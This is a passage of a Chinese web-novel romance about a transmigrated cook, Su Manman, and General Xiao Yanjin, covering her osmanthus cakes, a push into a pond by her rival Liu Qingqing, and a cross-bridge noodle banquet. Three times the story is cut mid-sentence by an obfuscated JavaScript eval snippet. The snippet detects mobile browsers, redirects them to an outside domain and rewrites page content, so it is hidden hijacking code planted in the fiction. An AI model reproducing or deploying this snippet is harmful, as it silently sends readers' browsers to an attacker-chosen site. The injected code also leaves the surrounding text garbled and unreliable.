要是再给她一次机会，她一定要如何去怼回去，可惜这下只能在脑子里复盘，没办法重新来一次。 更何况，萧燕瑾已经将她禁了足，还是不要惹是生非的好，不行她还是睡不着！ 这人到底什么来历啊，这么猖狂，差点害我工资都不保，不会是将军的那啥吧？？ 想到这，她发出了轻微的咯咯声，下意识地又捂住嘴巴，与她同住的一个洒扫小丫鬟睡得正香，可不能给人家吵醒了。 她悄无声息地溜出住处，熟门熟路地摸进厨房，值夜的小丫头蜷缩在灶膛边上的小凳子上，头一点一点地打着瞌睡。 苏蛮蛮没有惊动她，只借着窗外透进来的稀薄月光，手脚麻利地翻找起来。 一小包上好的雪耳，几颗饱满的莲子，再撬开角落的小坛子，舀出两勺晶莹的冰糖。 灶膛里的火还没有完全熄灭，扒拉扒拉，再添上几根细柴，橘红色的火苗重新跳跃了起来。 小吊锅里注入清冽的井水，雪耳、莲子、冰糖依次滑入，盖上盖子，只留一点点缝隙。 煮汤的间隙，她端着小碗溜达出来，坐到连接厨房与后院的小回廊台阶上。 凉丝丝的夜风轻轻拂过脸颊，吹散了心头的那几分燥意，她仰着头，看得有些痴了，白日里的龃龉似乎也被这浩瀚的星河稀释了。 银耳汤在小火上咕嘟了小半个时辰，苏蛮蛮估摸着火候差不多了，小心地掀开吊锅的盖子。 白色的雾气氤氲升腾，带着莲子特有的粉糯清香和雪耳熬煮后的胶质感。 汤色清亮，雪耳舒展如花，莲子饱满圆润，她拿过粗陶碗，舀了满满一大碗，小心地端在手里。 她重新在台阶上坐下，吹了吹碗沿飘过的热气，正要低头啜饮—— 一只骨节分明的大手，毫无预兆地从她身侧的阴影里伸了出来，不容置疑地端走了她手中那碗热气腾腾地银耳汤！ 苏蛮蛮只觉得手上一空，下意识地张嘴，只喝到了一口微凉的夜风。 她猛地扭头，心头的火气“噌”地一下直冲天灵盖！ 回廊灯笼昏黄的光线下，萧燕瑾高大的身影几乎笼罩了她，他微微俯身，一只手随意地负在身后，另一只手正稳稳地端着那只本该属于她的粗陶碗。 “将、军！”苏蛮蛮从牙缝里挤出两个字，每一个音节都裹着火气，她腾地站起来，仰头瞪着这个神出鬼没，抢了她夜宵的上司，“那是奴婢的！” 萧燕瑾的目光直直落在她那气鼓鼓的脸上，那眼神深得很，看不出什么情绪，只是淡淡地“嗯”了一声，算是回应，他极其自然地端起碗凑到自己的唇边，慢条斯理地啜饮了一口。 喉结滚动，咽下，动作优雅。 这简直......欺人太甚！ “味道尚可。”萧燕瑾放下碗，点评了一句，语气平淡得像是在说今天的天气，他甚至没有再看苏蛮蛮，端着那碗只是喝了一小口的银耳汤，转身，就这么施施然地......走了。 苏蛮蛮看着他走太远的背影攥紧了拳头，指甲几乎要嵌进掌心：萧燕瑾，我宣布你明天没有吃的了！！！ 11. 桂花糕 翌日一早，苏蛮蛮穿戴整洁，还特意挑了身半新不旧的藕荷色衣裙，揣着攒下的几钱碎银子，脚步轻快地溜出了将军府侧门。 天光正好，晨风带着凉州特有的干燥清爽，轻轻拂过了她那兴奋的脸颊。 “啊，自由的味道！”她深吸一口气，脸上绽开了大大的笑容。 自打莫名其妙成了这将军府的粗使丫头，又阴差阳错的晋升为主厨，她就像是一个陀螺，围着厨房、花厅、食材打着转，还没有正儿八经看过这异世街头的模样呢！ 凉州城虽处边塞，却因是贸易重镇，街道比苏蛮蛮想象中要繁华热闹得多。 青石板路被踩得光滑，两旁的商铺林立，幌子在风中招摇。 布庄、铁匠铺、杂货店、药铺......吆喝声，讨价还价的声音，还有车马的粼粼声交织在一起，充满了鲜活蓬勃的市井烟火气。 苏蛮蛮看什么都新鲜。 她在捏得栩栩如生的糖人摊前流连，在香气四溢的胡饼铺子旁咽口水，还蹲在一个卖西域香料的小摊前，对着那些形状颜色各异的干果、粉末研究了好半天，跟摊主聊得火热，差点把人家的烤肉秘方都给套了出来。 当然，她没忘记正事。 一路上走走停停，眼睛像是探照灯似的扫视着临街的铺面，看到挂着“吉铺转让”或者是“招租”牌子的，她便会凑上前去，装作好奇打听的样子，和掌柜或者是伙计攀谈几句。 “掌柜的，您这铺面看着敞亮，月租的话得多少银子啊？” “小哥，这个铺子地段不错，后面连着的那个小院子也租吗？能开火做饭不？” “大娘啊，您这铺子盘下来，连带着后面的灶房一起的话，大概什么价？” 一圈稳下来，苏蛮蛮的心里大致有了谱。 凉州城核心地段的铺面贵得吓人，动辄十几两甚至是几十两银子的月租，根本不是她现在能肖想的。 稍微偏一点、小一点的，或者是需要修缮的旧铺面，价格倒是亲民不少，月租三五两银子，盘下来的话可能几十两。 她默默在心里的小本本上记着：城西“张记布庄”隔壁的临街小铺，带个小后院儿，月租三两；城南靠近城门的老茶楼分租一半灶房，月租二两五钱......虽然距离她的“美食帝国”梦想还很遥远，但至少是看到了希望，攒钱的动力就更足了。 日头渐渐升高，估摸着快到午膳时分，苏蛮蛮才意犹未尽地往回走。 路过一家点心铺子，她咬咬牙花了几十个铜板，买了一包据说是招牌的“蜜三刀”，打算回去给李妈妈和周妈妈尝尝鲜，顺便探探行情。 刚踏进将军府侧门，苏蛮蛮就隐约觉得气氛不太对。 整个府里静悄悄的，比往日里肃穆许多。 洒扫的仆役个个儿低着头，脚步匆匆，连眼神都不敢乱瞟。 她的心里咯噔一下，加快了脚步往厨房的方向走，刚穿过回廊，就看见李妈妈像个热锅上的蚂蚁似的在厨房门口团团转，一见她眼睛瞬间就亮了，几乎是朝着她扑过来的，一把就将她拽进了厨房，还紧张地关上了门。 “哎哟我的小祖宗！你可算是回来了！”李妈妈拍着胸口，压低了声音，脸上满是后怕和焦急，“出大事了！” “怎么了李妈妈？慢慢说。”苏蛮蛮的心提了起来。 “将军！将军在前厅发了好大的脾气！”李妈妈急得直跺脚，“摔碎了一个上好的青瓷茶盏，那声响，吓得守门的小厮腿都软了！” “为什么？”苏蛮蛮皱起眉头，这些时日的相处下来，萧燕瑾这个虽然冷面，但是并非是那种喜怒无常、苛待下人的人。 “还能为什么啊，吃食呗！0李妈妈苦着脸，”今儿个你不在，早膳是我和周妈妈按照你留下的方子做的，那韭菜盒子，将军就尝了一口，眉头皱得啊，都能夹死苍蝇了！” “还说，还说‘腻歪’！午膳.....午膳就更别提了！”李妈妈心有余悸，“午膳想着将军昨日吃肉夹馍似乎满意，我就试着炖了一锅红烧肉，又炒了两个时蔬，结果......将军筷子都没动几下，尝了口肉就说‘火候不对’，那脸色......黑得跟锅底似的！” 苏蛮蛮听完，先是愕然，随即一股无名火“噌”地就冒了上来。 好你个萧燕瑾！嘴是真叼啊！分明是吃惯了她做的，李妈妈她们的手艺一时入不了他的口，就拿下人撒气！ “这......这可怎么办啊蛮蛮？”李妈妈急得都快哭了，“总管刚才派人来传话，说是晚膳要是再不合将军的心意，我们......我们这个月的月钱都要扣一半！” 什么？！扣钱？！ 苏蛮蛮的火气瞬间被点燃，直冲天灵盖，动她的月钱？这简直就是在戳她的心窝子！ “别怕，李妈妈，我来解决！” 她环视着厨房，目光快速扫过食材架，时间紧迫，要做一道立刻能够安抚住那个暴君的味蕾，又不会太费功夫的点心。 有了，桂花糕！ “李妈妈，快！帮我把上好的糯米粉、粘米粉还有细砂糖找出来，还有，把咱们珍藏的那罐顶级的桂花蜜拿来！再帮我烧一锅水！” 苏蛮蛮一边快速吩咐，一边挽起袖子，动作麻利得像是上了发条。 “桂......桂花糕？”李妈妈愣住了，有些迟疑，“将军他......不是最讨厌......” “放心！”苏蛮蛮打断她，“他啊讨厌的是‘腻得发齁’的，不是讨厌桂花，今天我苏蛮蛮就让他知道什么叫做真正的‘桂花糕’！” 厨房里瞬间忙碌起来。 苏蛮蛮摒弃了用大量猪油和糖的做法，她将糯米粉和粘米粉按比例混合在一起，再加入适当的细砂糖。 最关键的是桂花蜜，她只用了一小勺，取其清雅的香气，而非甜腻。 滚水冲入粉中，她迅速用筷子搅拌成絮状，再趁热将其揉成光滑柔软，散发着淡淡米香和桂花香的面团。 没有模具，她灵巧地用手将面团搓成小圆球，再用拇指在中间轻轻按出一个小窝，最后点缀上一小撮金灿灿的干桂花。 苏蛮蛮盯着蒸笼盖的缝隙里冒出的白汽，心中默数。 终于，时辰到了！ 她果断熄火，却没有立刻去掀开盖子，而是让它在余温之中继续焖了片刻，这是保证糕点口感湿润Q弹的关键。 “成了！”苏蛮蛮深吸一口气，小心翼翼地揭开蒸笼盖。 热气扑面，只见笼屉里的小糕晶莹剔透，点缀的金桂像是被唤醒，在洁白的高店里舒展着身子，散发着沁人心脾的幽香。 她迅速拣出几块最完美的，摆在一个素雅的青瓷碟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723611|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 白润的糕体，金灿灿的桂花，清新雅致，香气更是清幽淡远，只闻其香味就觉得口舌生津。 “李妈妈，帮我看着火。”苏蛮蛮端着碟子，挺直脊背，脸上带着一种‘成败在此一举’的狡黠，朝着前厅走去。 前厅的气氛果然凝重，萧燕瑾端坐在主位，面色沉闷，修长的手指无意识地敲击着紫檀木的扶手，发出单调又压抑的“笃笃”声。 地上碎裂的青瓷片还未清理干净，无声地昭示着主人方才的怒火。 总管和军师垂手侍立在一旁，大气都不敢出。 苏蛮蛮目不斜视，端着那碟桂花糕，步履平稳地走到萧燕瑾的面前，微微屈膝：“将军，奴婢听闻早午膳不合您心意，心中惶恐，特意做了些点心，请将军品鉴一二，权当赔罪。”声音清脆，不卑不亢。 萧燕瑾的目光，从苏蛮蛮进来的那一瞬间就落在了她的身上，带着些许的审视和未消的点点怒气。 但当他的视线触及那碟点心的时候，敲击扶手的动作倏然停住。 他下意识地皱眉，厌恶的感觉瞬间涌上心头。 他的目光在糕点和苏蛮蛮平静的脸上来回扫视，“苏蛮蛮，你今日出府闲逛了一整日，回来就给本将军弄这个？敷衍我？” “将军，您不试试怎么知道奴婢是不是真心的呢！”她忽然笑着对上他那平静的眼睛。 萧燕瑾别开自己的脸，终于伸出了手，拈起一块，入手温软微弹，触感细腻。 他送到唇边，轻轻咬下一口。 首先是意想不到的松软绵密，带着温热的湿糯擀，入口即化，毫无黏腻滞重。 清甜的米香瞬间充盈口腔，紧接着，一股极其清雅的桂花香气幽幽释放出来，丝丝缕缕缠绕在舌尖。 没有猪油的肥腻，只有米高的纯粹和桂花的高洁，一块下肚，唇齿留香，心头那点无名火，竟被抚平了大半。 萧燕瑾没有说话，只是默默地将手中剩下的小半块也送入口中，细细咀嚼。 苏蛮蛮垂着眼，心中在疯狂打鼓：怎么样啊？行不行？给句痛快话啊！扣不扣钱？！ 终于，萧燕瑾咽下了最后一块糕点，拿起一旁温热的湿巾擦了擦手和嘴角，他抬眸，深邃的目光重新落在苏蛮蛮的身上，“苏蛮蛮。” “奴婢在。” “这糕点，叫什么？” “回将军，是桂花糕。”苏蛮蛮特意加重了“桂花糕”三个字。 萧燕瑾沉默着，半晌，他才缓缓开口，听不出喜怒：“尚可。” 又是尚可！苏蛮蛮心里的小人已经开始磨牙霍霍了。 “那将军，还扣......月钱吗？”苏蛮蛮抱着手里的托盘抬眸望着他，眼底露出的全是期待与眼巴巴的委屈。 他没回答，只是朝着一旁垂着头的管家说道：“福叔，厨房这个月的月钱不扣了。” yes！ 苏蛮蛮朝着萧燕瑾鞠起躬来，笑着说道：“多谢将军，多谢将军！” 萧燕瑾微微挡面，嘴角却在看着苏蛮蛮的不经意间轻轻扬起，轻到连他自己都不曾发觉。 然而在前厅大门的转角阴影里，一双带着妒忌和不甘的眼睛盯了许久，直到苏蛮蛮要离开，她才转身离开，攥紧了手中的帕子，嘴里还在呢喃着：“苏蛮蛮，又是你，凭什么？！” 12. 打卤面 “苏蛮蛮。” 入了冬的凉州，风里都多了几分凛冽。 将军府后花园的荷塘早已残败，几茎枯荷伶仃地立在水面上，衬得池水愈发幽深。 苏蛮蛮端着刚从小厨房取来预备给花厅暖炉添换的银丝炭，沿着池边的青石小径匆匆走着。 炭篓有些沉，她微微低着头，盘算着晚膳的菜单，好在这个月的月钱并没有扣，看来后面要是多努努力说不定还能让将军涨涨月钱呢！ 想到这，脚步都比往日要轻快几分。 “苏姐姐请留步。”一道娇柔含怯的声音拦住了她。 苏蛮蛮脚步一顿，抬头看去，柳青青正俏生生地立在不远处的太湖石旁，一身崭新的水红锦缎袄裙衬得她面若桃花。 “柳姑娘有事？”苏蛮蛮语气平淡，抱着炭篓的手指紧了紧，上次茶叶饼的事还历历在目，对这女人还是绕道走得好。 目前还不知道她到底是将军的谁，万一真是他养的什么姬妾，得罪了可就亏大发了！ 柳青青莲步轻移，走近了些，脸上堆起了一抹甜笑，“姐姐如今可是将军面前的红人，厨房里数一不二，妹妹好生羡慕。” 她顿了顿，接着说道：“昨儿个有幸尝到了姐姐做的桂花糕，真是惊为天人，不知姐姐可否....指点妹妹一二？妹妹也想学着做给将军尝尝。” 昨天总共也没有做几块，看到萧燕瑾吃过还剩下两三块，原以为是留给军师的，没想到是留给她的。 “不敢当。”苏蛮蛮此时只想着快点离开，“将军口味挑剔，我这点微末收益，实在是没什么好指点的，柳姑娘若是真想学，府里自有厨艺精湛的妈妈们。” 说罢她侧身，想从柳青青的身边绕过去。 柳青青脚下一滑，口中发出一声短促惊恐的娇呼：“啊呀！”身体却如同失去重心一般，猛地朝着苏蛮蛮撞过去！ “你——！”苏蛮蛮只来得及惊呼半声，巨大的冲击力狠狠撞在她抱着炭篓的胳膊上，沉重的炭篓脱手飞出。 她整个人被这股狠劲儿撞得向后趔趄，脚下踩着的正是池边湿滑的石块，上面还有着暗绿的青苔！ 天旋地转，冰冷的池水瞬间从四面八方挤压过来，蛮横地灌入她的口鼻耳窍。 所有声音都被这浑浊的水流隔绝并吞噬。 “咕噜噜...... 苏蛮蛮奋力挣扎，手脚像是被无形的水草死死缠住，沉重无比，意识模糊的瞬间，那个反复纠缠着她的噩梦碎片骤然无比清晰地撞入脑海之中： 粗粝的井沿，背后猝不及防的猛力一推，冰冷刺骨的井水.....还有，推她之人仓皇转身时，裙裾下飞快闪过的一抹鞋尖，浅碧的缎面上，绣着一朵莲花。 是她？梦里推她的那个人，和今日推她落水的柳青青，穿着同一双鞋！ 或者说，根本就是同一个人！ 为什么？ 这个认知带来的惊骇甚至有那么一瞬压过了溺水的恐惧！ 黑暗即将彻底笼罩苏蛮蛮的意识，她还想着做一个明白鬼，可是这一下也做不到了，两次，两次都死在同一个人受伤，当真是愚蠢！ 一道矫健的身影猛地朝水里扎去，有力的手臂如同铁钳，瞬间箍住了她下沉的腰身！ “哗啦！——” 巨大的水花溅起，苏蛮蛮被一股不容抗拒的力量托出水面，重见天光，冰冷的空气呛入肺腑，她伏在池边湿冷的泥地上，咳得撕心裂肺。 池水顺着发梢、衣角不断淌下，冻得她牙齿咯咯打颤，视线一片模糊。 一只大手用力地拍着她的脊背，掌心传来的热度穿透浸湿的衣料，像是直接拍在她的脊背上，令她不由得怔了怔。 “咳咳咳.....咳咳....”苏蛮蛮艰难地喘息着，她下意识地攥住了身边唯一能够抓住的东西，那是萧燕瑾胸前同样湿透了且紧贴在贲张肌肉上的玄色衣襟。 “怎么回事？” 周围似乎有闻声赶来的仆役杂乱的脚步声和惊呼，苏蛮蛮咳得眼前发黑，无力分辨，她只是凭着最后一点力气，用尽全身力气攥着那片湿透了的衣襟。 “表哥！”柳青青带着哭腔的声音穿透了苏蛮蛮昏沉的意识，“是....是苏姐姐自己不小心踩着那个石台滑到了！我是想拉她的，没....没拉住，是我的问题，表哥你罚我吧！” 那声音抖得厉害，充满了“后怕”和“无辜”。 苏蛮蛮想反驳，想指着她脚上那双沾了泥的莲文鞋尖叫，可是她喊不出来，喉咙里只有火烧火燎的疼痛和抑制不住的咳嗽。 一只带着薄茧，同样冰凉的手，轻轻覆上了她紧攥着他衣襟的手背。 “够了。”萧燕瑾的声音不高，瞬间割断了柳青青的哭诉，他低头看着蜷缩在自己胸前咳得浑身颤抖，脸色惨白的苏蛮蛮，深不见底的黑色眼眸里有着看不清的情绪。 “传医官。” 他沉声下令，同时手臂一用力，将浑身湿透冰冷的苏蛮蛮打横抱了起来，湿透的衣物紧贴着他同样冰冷的前襟，少女单薄的身体无法自控的颤抖，清晰地传递过来。 苏蛮蛮惊得连咳嗽都噎住了一下，苍白的脸颊瞬间腾起了一抹红晕，她下意识地想要挣扎，却被那手臂禁锢得动弹不得。 “别动。” 他抱着她，大步流星地穿过了后院，柳青青煞白着脸跟在身后，看着萧燕瑾抱着苏蛮蛮在她前面走着，她看着苏蛮蛮的眼神又多了几分恨。 萧燕瑾并未将苏蛮蛮送回她与洒扫丫鬟同住的厢房，而是径直走向了自己主院旁边专供他人小憩的暖阁。 这里离得近，也更暖和。 他小心翼翼地将苏蛮蛮放在铺着厚实褥子的软榻上，动作竟带着一丝丝轻缓，早已等候的医官立刻上前诊治。 一番珍视，好在只是呛了水受了点风寒，并无大碍，医官开了驱寒的汤药，又叮嘱了务必保暖，便躬身退下了。 侍女们早已备好热水和干净的衣物。 萧燕瑾背过身，站在窗边，看着外面阴沉的天色，直到侍女们为苏蛮蛮换好干燥暖和的里衣，用厚厚的棉被将她裹得严严实实，又为她喝下小半碗姜汤，他才转过身。 苏蛮蛮拥着被子靠在床头，“将军......”她的声音还有些沙哑。 “躺着。”萧燕瑾打断她，“怎么回事？” 她深吸一口气，尽量清晰地开口，将从柳青青突然出现到对方假意摔倒撞向她的过程原原本本说了一遍。 萧燕瑾的眸子沉了沉，，只是淡淡地说道：“此事本将军自有主张，你，”他顿了顿，“好生休息。” 说完，他深深看了她一眼，那眼神复杂难辨，随即他转身，大步离开了暖阁。 不知过了多久，药劲儿上来加上自己本来就有些疲惫，她昏昏沉沉地睡了过去。 再醒来时，窗外已经是暮色四合，暖阁里点起了灯，一片静谧，身上的寒意褪去，肚子开始咕咕作响，饿得发慌。 她掀开被子下床，床头有着干净的侍女服饰，她手脚麻利地换上，虽然脸色还有些苍白，但基本上已经恢复了。 她轻手轻脚地推开门，避开可能得耳目，熟门熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723612|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路地溜回了厨房，这里通常只有她、李妈妈和周妈妈有钥匙。 苏蛮蛮走到角落对方柴火的地方，熟练地抽出几根细柴和干柴，用火石点燃，小心地送入灶膛。 橘红色的火苗跳跃起来，舔舐着冰冷的过低，驱散着黑暗和寒意，也映亮了她苍白的侧脸。 湿发还未全干，几缕碎发黏在脸颊边上，她随手捋到耳后。 她走到面缸前，舀出大半碗上好的白面，倒入粗陶盆中，又舀了小半瓢清水，一点点的加入面粉中。 纤细有力的手指在面粉和清水之间揉捏、按压，动作带着一种近乎发泄的专注和力道，案板上很快响起“砰砰砰”的揉面声。 面团在她的手下渐渐变得光滑柔韧，她取过沉重的枣木擀面杖，沾上一点干粉，“唰唰唰”地开始擀面。 面皮在她的手中越擀越大，越擀越薄，最后变成了一张均匀透亮的巨大面皮。 折叠，切条，抖散，根根分明。 紧接着，她挑了一块肥瘦相宜的五花肉，快刀切成细丁，泡发好的黄花菜和木耳切成丝，香菇和香干也切成丁。 又磕了两个鸡蛋，在碗中快速打散成金黄色的蛋液。 铁锅重新烧热，倒入素油滑锅，肉丁下锅，“刺啦”一声，浓郁的肉香瞬间爆开，煸炒至油脂溢出来，边缘微微焦黄时再下入葱姜末爆香，再依次投入黄花菜、木耳、香菇、香干丁，快速翻炒。 烹如料酒、酱油，注入小半锅滚热的高汤，汤汁翻滚起来，呈现出诱人的酱色，最后淋入打散的蛋液，看着金黄色的蛋花在浓汤中翻滚凝结，最后撒上一把翠绿的葱花。 另一口锅里宽水翻腾，苏蛮蛮抓起一把切好的面条，手腕轻抖，面条便如瀑布般滑入沸水之中，长竹筷轻轻将其拨散，看着面条在滚水中沉浮、舒展，渐渐变得透亮。 捞面、沥水，盛入碗中，再舀起一大勺热气腾腾的卤汁，带着满满的肉丁、蛋花和各色菜，“哗啦”一声浇在莹白的面条上。 苏蛮蛮端起这碗分量十足的打卤面，深深吸了一口那直冲鼻腔的浓香，转身走向萧燕瑾的书房。 书房的门虚掩着，透出暖黄的灯光，苏蛮蛮轻轻推开，萧燕瑾正坐在宽大的紫檀木书案后，手里拿着一卷书，烛光映着他轮廓分明的侧脸。 听到动静，他抬起眼。 苏蛮蛮端着面一步步走到书案前，她没有说话，只是将那碗面轻轻放在他面前的书案上，氤氲的热气在两人之间升腾弥漫，模糊了彼此的表情。 萧燕瑾的目光从苏蛮蛮依旧没什么血色的小脸上缓缓移向面前这碗面，他沉默着，拿起搁在碗边的乌木长筷探入碗中，挑起一筷被卤汁包裹的面条。 他没有立刻吃，而是抬眼隔着袅袅的白雾，看向站在案前安静等待的苏蛮蛮，烛光在她的眼底跳跃，清澈透亮。 喉结几不可察地滚动了一下，他收回目光，低头，将那一筷子面条送入口中。 一口下去，是直击灵魂的满足，瞬间驱散了所有的不快，他就这样沉默地吃着，动作不快，却异常的专注。 苏蛮蛮站在一旁静静地看着他吃，一股淡淡的暖流在她心底悄然滋生。 直到碗里的面条和卤汁几乎见底，萧燕瑾才放下筷子，他拿起一旁的湿巾慢条斯理地擦了擦嘴角，然后他抬眸，目光再次锁住苏蛮蛮的眼睛。 “苏蛮蛮。”他开口，声音低沉。 “奴婢在。”苏蛮蛮垂眸，轻声应道。 “这碗面，”他顿了顿，每一个字都像是经过深思熟虑，沉甸甸地落下，“值两条命？” 13. 过桥米线 那碗打卤面之后，将军府的日子似乎短暂地滑入了一种微妙的平静。 苏蛮蛮想了许久，也没有想明白萧燕瑾嘴里说的那句“两个人的命”是什么意思，她还记得那碗自己想要问清楚的时候，萧燕瑾的神情忽然就变了。 她并没有深究，只是还有一件事不是很明白，柳青青以前是在府上住过吗，若是住过，李妈妈在这府中待了那么长的时间，怎的会没有见过她。 可若是没有在将军府住下，那为何梦里那个推她下井的人和柳青青穿着一样的鞋子。 想不明白，也回忆不起来任何东西，她只好作罢，走一步看一步了，这偌大的将军府，好像有什么秘密，又好像什么都没有。 她依旧每日在厨房忙碌着，耐心地准备一日三餐，萧燕瑾待她，表面上看不出任何变化，依旧是那个冷面威严、惜字如金的上司。 自落水后，苏蛮蛮就鲜少看见柳青青的身影，好似这个人人间蒸发了一般。 这份宁静，在除夕夜的前夕被打破，总管亲自来到厨房交代着：凉州府刺史夫人携小公子午后过府拜访。 “刺史夫人是江南人士，口味清淡雅致，尤其喜好汤羹羹点。”总管特意叮嘱，“将军吩咐，膳食务必精心，须得有一道能够暖胃养生的汤品羹食，既要显示出将军府待客的诚意，又要合夫人的脾胃。” 总管走后，厨房里陷入了短暂的沉默。 江南口味，养生汤羹.....李妈妈和周妈妈面面相觑，都有些拿不定注意。 “炖个老鸭汤？似乎太过于寻常了，弄个燕窝羹？会不会显得太奢靡了？”李妈妈嘀咕着。 苏蛮蛮站在灶台边，思考了半晌，脑子里突然有了一个大胆的想法——过桥米线！ 这道源自滇南，却在后世名动天下的美食，以其独特的食用方式和极致的鲜美，不正合此意？ “有了！”苏蛮蛮眼睛一亮，拍了下手，“李妈妈，周妈妈，把咱们院子里最肥的那只老母鸡宰了，再准备一些上好的猪筒骨和火腿骨！” 熬汤，是过桥米线的灵魂。 那只足有七八斤重的老母鸡被处理干净，与劈开的猪筒骨和带着咸香的火腿骨一同投入巨大的紫砂汤煲中。 注入清冽的深井水，只需要加几片老姜去腥。 “这汤，得熬过时辰。”苏蛮蛮盖上沉重的紫砂盖子，只留一丝缝隙，“炭火不能急，要文火慢煨，让骨肉里的精华一点点地融进汤里。” 从清晨到正午，在到日影西斜。 厨房里渐渐被一种醇香所笼罩，是鸡肉的甘甜，猪骨的胶质，火腿的咸鲜在漫长的熬煮中彻底交融的味道。 揭开盖子的那一瞬间，浓郁的香气喷涌而出！ 汤汁呈现出了一种极其诱人的、近乎奶白的浅金色，苏蛮蛮用细密的竹漏勺仔细撇去浮油，只留下了那层精华的油膜，又用几层细纱布仔细过滤，确保汤体清澈见底。 最后调入少许细盐提味，整锅汤温润醇厚，香气直透心脾。 与此同时，各种配菜在李妈妈和周妈妈的协助之下，已经准备妥当。 上好的鱼草取最肥美的鱼腩，快刀片成鱼片，铺在青花瓷碟里，猪里脊肉同样切成薄片，用蛋清和少许淀粉抓匀，保持其嫩滑。 鸡胸肉撕成细丝，还有泡发好的嫩笋尖、鲜香菇、豆皮、韭菜段、绿豆芽......林林总总，色彩悦目地装在小巧的碟盏中。 最后是一碗煮好后用熟油拌过防止粘连的雪白米线。 最关键的，是盛汤的青花大碗，苏蛮蛮特意选了两个厚胎、容量极大的海碗，提前在滚水中煮汤，确保其温度极高。 一切准备就绪，只待贵客临门。 花厅里，气氛融洽。 凉州府刺史夫人年约四旬，气质温婉，言谈举止带着江南水乡的柔美，她身旁的小公子约莫七八岁，生得玉雪可爱，一双大眼睛好奇地打量着将军府。 萧燕瑾端坐主位，神色比平日里温和些许，与刺史夫人寒暄着凉州风物。 柳青青竟也出现在了席间，她穿着一身素雅的白月襦裙，脂粉薄施，低眉顺眼地坐在最下首的位置。 “夫人，小公子，将军，”总管适时地笑着引荐，“今日厨房特意为贵客准备了一道咱们府上苏厨娘拿手的羹汤，名曰‘过桥米线’，取义‘情谊过桥，暖意绵长’，请诸位品鉴。” 话音落，苏蛮蛮和李妈妈各自端着一个硕大的托盘步入花厅。 托盘中央，正是那两个厚胎青花海碗，碗口氤氲着浓郁的白汽，滚烫的温度隔着距离都能感受到。 碗中是清澈见底，微微荡漾的浅金色浓汤。 托盘中围绕着汤碗的，是十几碟精巧细致的生鲜配菜和一碟雪白的米线。 所有人的目光都被这奇特的阵仗吸引住了，刺史夫人眼中露出了惊讶和好奇，小公子更是兴奋地探着头。 “此汤嘘趁滚烫食用，方得真味。”苏蛮蛮声音清朗，走到刺史夫人案前，将托盘放下。 她先拿起盛着米线的小碗，小心地将雪白的米线倾入滚烫的汤碗中。 接着，按照顺序动作流畅地将鱼片、肉片、鸡丝、笋尖.....依次投入浓汤之中。 滚烫的浓汤瞬间将生鲜食材烫熟！ 鱼片由透明变得雪白卷曲，肉片逐渐变色，蔬菜变得更加鲜亮翠绿......整个过程如同变戏法般赏心悦目，浓郁的香气顺着食材的投入愈发澎湃地散发出来，瞬间盈满了整个花厅。 “夫人，小公子，请慢用。”苏蛮蛮将筷子轻轻放在碗边，又为小公子单独夹取了一些易食的食材放入小碗中。 刺史夫人看得目不转睛，惊叹道：“妙哉！此等食法，当真是闻所未闻。” 她拿起勺子，舀起一勺清澈滚烫的汤，吹了吹，小心送入口中。 “好汤！鲜美醇厚，温润滋养，果然好心思。”她满足地眯起了眼睛。 小公子也吃得津津有味，小脸红扑扑的。 轮到为萧燕瑾布菜时，苏蛮蛮的心跳莫名快了几分，她依样画葫芦，专注地将米线和各色配菜都投入那滚烫的汤碗中。 萧燕瑾也悄然地吃了起来，苏蛮蛮站在一旁看着他，生怕他在刺史夫人面前也跟自己来个什么“尚可”“一般”之类的，平日里也就罢了，若是今日还这样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726857|173950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她发誓，往后萧燕瑾的吃食只会更难吃！！！ 好在，他没让自己失望，刺史夫人夸赞苏蛮蛮的时候，萧燕瑾笑着回应着，虽说没有夸赞，但是也没有反驳。 一旁的柳青青恨不得将后槽牙咬碎，她本想着今日让苏蛮蛮在刺史夫人面前难堪，奈何萧燕瑾还安排了一个人将她盯着，导致她什么都干不了。 只能埋头吃饭。 饭后没多久，萧燕瑾和军师送走了刺史夫人和小公子，柳青青已然不见了踪影。 “将军，方才那米线好吃吗？” 站在将军府大门目送着刺史夫人的马车离开，军师忍不住开口问道。 “还行。”萧燕瑾说完转过身背着手朝着书房走去。 军师看着他的背影，呢喃着，“还行，还行你怎么一口都不给我留！” 说罢，他笑嘻嘻地朝着与萧燕瑾书房反方向的厨房跑去，眼神里全然没有对书房政务的关心，都是对食物的渴望。 到了厨房门口，那股香气还未散去，他两三步就跑了进去，倚靠在门边上看着苏蛮蛮正忙活着。 “苏姑娘？”他试探性地轻声喊道。 